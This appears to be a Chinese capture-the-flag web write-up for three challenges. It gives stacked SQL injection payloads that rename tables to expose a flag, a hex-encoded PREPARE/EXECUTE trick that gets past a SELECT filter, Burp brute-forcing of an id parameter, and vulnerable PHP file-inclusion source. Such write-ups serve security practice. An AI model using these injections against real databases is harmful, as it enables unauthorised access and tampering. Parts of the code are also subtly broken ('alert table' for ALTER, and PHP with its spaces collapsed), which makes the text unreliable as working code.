爆字段 payload:1';show columns from words;# payload:1';show columns from 1919810931114514;#
题目环境好像出了问题 第二个表的字段爆不出来
通过 rename 先把 words 表改名为其他的表名。
把 1919810931114514 表的名字改为 words 。
给新 words 表添加新的列名 id 。
将 flag 改名为 data
1'; rename table words to word1; rename table `1919810931114514` to words; alert table words add id int unsigned not Null auto_increment primary key ; alert table words change flag data varchar(100); #
输入1就能获取flag了
第二种解法
因为select被过滤了
所以可以用16进制编码
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
prepare…from…是预处理语句,会进行编码转换
execute用来执行由SQLPrepare创建的SQL语句
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
第三种解法:做到升级版的题目再写
ics-06
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
访问进去有个id
直接用burpsuit进行id爆破
我设置的数值是1-10000 其实 1-3000就够了
warmup
我真正意义上的web入坑题
自从做了这道题 我真正开始去学web安全了
恨自己没能早点自知
F12查看源代码 访问source.php
代码审计 贴一下代码
<?phphighlight_file(__FILE__);classemmm{
publicstaticfunctioncheckFile(&$page){
$whitelist=["source"=>"source.php","hint"=>"hint.php"];if(!isset($page)||!is_string($page)){
echo"you can't see it";returnfalse;}if(in_array($page,$whitelist)){
returntrue;}$_page=mb_substr($page,0,mb_strpos($page.'?',"?"));if(in_array($_page,$whitelist)){
returntrue;}$_page=urldecode($page);$_page=mb_substr($_page,0,mb_strpos($_page.'?',"?"));if(in_array($_page,$whitelist)){
returntrue;}echo"you can't see it";returnfalse;}}if(!empty($_REQUEST['file'])&&is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])){
include$_REQUEST['file'];
exit;}else{
echo"<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}?>